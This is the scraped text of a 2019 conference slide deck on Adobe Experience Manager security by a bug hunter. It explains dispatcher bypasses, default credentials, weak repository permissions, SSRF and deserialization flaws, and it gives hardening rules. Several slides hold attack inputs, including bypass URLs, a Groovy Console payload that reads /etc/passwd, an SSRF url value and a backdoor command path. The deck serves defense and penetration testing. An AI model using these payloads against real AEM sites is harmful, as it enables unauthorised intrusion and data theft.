Securing AEM webapps by hacking them

APACHE SLING & FRIENDS TECH MEETUP 2 - 4 SEPTEMBER 2019 Securing AEM webapps by hacking them Mikhail Egorov @0ang3el, Security researcher & Bug hunter.

whoami 3  Security researcher & full-time bug hunter  https://bugcrowd.com/0ang3el  https://hackerone.com/0ang3el  Conference speaker  https://www.slideshare.net/0ang3el  https://speakerdeck.com/0ang3el

My research on AEM security 5 PHDays 2015 Hacktivity 2018 LevelUp 2019 https://www.slideshare.net/0ang3el

Fellow hackers 6 @darkarnium, 2016 @fransrosen, 2018 @JonathanBoumanium, 2018 https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html

Common AEM deployment 7 Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? Main blocks: • Author AEM instance • Publish AEM instance • AEM dispatcher (~WAF)

Sources of vulnerabilities 8  AEM misconfiguration  AEM code (CVEs)  3rd-party plugins  Your code

9 Vulnerabilities due to misconfiguration

AEM dispatcher bypass – CVE-2016-0957 10  Blocked by Dispatcher  /bin/querybuilder.json  However passed to publish instance  /bin/querybuilder.json/a.css  /bin/querybuilder.json/a.icoS  /bin/querybuilder.json?a.html  /bin/querybuilder.json;%0aa.css

AEM dispatcher bypass – Sling “features” 11  When Sling Servlet is registered with sling.servlet.path other properties are ignored (e.g. sling.servlet.extensions)  Bypassing extension check  /bin/querybuilder.json.css  /bin/querybuilder.feed.ico

AEM dispatcher bypass – Sling “features” 12  When Sling Servlet is registered with sling.servlet.resourceTypes  Bypassing path check  Create node with proper sling:resourceType under /content/usergenerated/etc/commerce/smartlists

AEM dispatcher security tips 13  Don’t use rules like  /0041 { /type "allow" /url "*.css" } # This is bad  Better use  /0041 { /type "allow" /extension 'css' }

AEM dispatcher security tips 14  Explicit deny rule for dangerous endpoints  /0090 { /type "deny" /path "/libs/*" }  /0091 { /type "deny" /path "/bin/querybuilder*" }  Place explicit deny rules in the end of policy

Default credentials 15  admin/admin  author/author  Geometrixx users  grios:password  jdoe@geometrixx.info:jdoe  …

Default credentials 16 == base64(admin:admin)

Weak passwords / Credentials bruterorcing 17  Properties jcr:createdBy, cq:lastModifiedBy, jcr:lastModifiedBy contain usernames  Many ways to bruteforce  LoginStatusServlet  GetLoggedInUser servlet  CurrentUserServlet  …

Weak permissions for JCR 18  Many ways to access JCR  DefaultGetServlet  QueryBuilderJsonServlet  QueryBuilderFeedServlet  GQLSearchServlet  CRXDE Lite  …

Weak permissions for JCR 19  Anonymous user has jcr:write permission for /content/usergenerated/etc/commerce/s martlists

0 /apps/<redacted>/config.author.tidy.1..json/a.ico

Weak permissions for JCR 21 type=nt:file&nodename=*.zip

Weak permissions for JCR 22 path=/home&p.hits=full&p.limit=-1

23 Vulnerabilities due to 3-rd party components

Groovy Console 24  Exposes servlet at /bin/groovyconsole/post.servlet without authentication by default https://github.com/icfnext/aem-groovy-console

cS4VLFuCHKwX;XS script=def+proc+%3d+”cat+/etc/passwd”.execute()%0d%0aprintln+proc.text

ACS AEM Tools 26  Exposes Fiddle with ability to execute JSP scripts on /etc/acs-tools/aem- fiddle/_jcr_content.run.html  May not require authentication

CVE-2018-12809 (SSRF*) 29  ReportingServicesProxyServlet (cq-content-insight bundle) @SlingServlet( generateComponent = true, metatype = true, resourceTypes = {"cq/contentinsight/proxy"}, extensions = {"json"}, selectors = {"reportingservices"}, methods = {"GET"}, label = "Reporting Services API proxy servlet", description = "Proxy servlet for Reporting Services API" ) public class ReportingServicesProxyServlet extends SlingSafeMethodsServlet { private static final String DEFAULT_API_OMNITURE_URL = ".*/api[0-9]*.omniture.com/.*";} … } *SSRF - Server Side Request Forgery

CVE-2018-12809 (SSRF*) 30  Paths to invoke servlet  /libs/cq/contentinsight/content/proxy.reportingservices.json  /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet  Vulnerable parameter url  url=http://anyurl%23/api1.omniture.com/a *SSRF - Server Side Request Forgery

ExternalJobPostServlet deser / CVE? 34  Affects AEM 5.5 / AEM 5.6 @Service @Properties(value = { @Property(name = "sling.servlet.extensions", value = "json"), @Property(name = "sling.servlet.paths", value = "/libs/dam/cloud/proxy"), @Property(name = "sling.servlet.methods", value = { "POST", "GET", "HEAD" }) }) public class ExternalJobPostServlet extends SlingAllMethodsServlet { ... }

ExternalJobPostServlet deser / CVE? 35  Parameter file accepts Java serialized stream and passes to OIS.readObject()  Hard to exploit in OSGI environment

AEM RCE bundle 39  Allows to get RCE* when having access to Felix Console  https://github.com/0ang3el/aem-rce-bundle.git * RCE – Remote Code Execution

AEM RCE bundle 40  Path - /bin/backdoor.html?cmd=ifconfig

AEM Hacker 41  Scripts to check security of AEM application  aem_hacker.py, aem_discoverer.py, aem_enum.py, aem_ssrf2rce.py, aem_server.py, response.bin, aem-rce-sling-script.sh  https://github.com/0ang3el/aem-hacker.git

Takeaways 44  Vulnerabilities can occur on different levels  Install security updates  Defense in depth  Check security of AEM application  Pentest / Bug bounty

Securing AEM webapps by hacking them

More Related Content

What's hot

Similar to Securing AEM webapps by hacking them

More from Mikhail Egorov

Recently uploaded

In this document

Securing AEM webapps by hacking them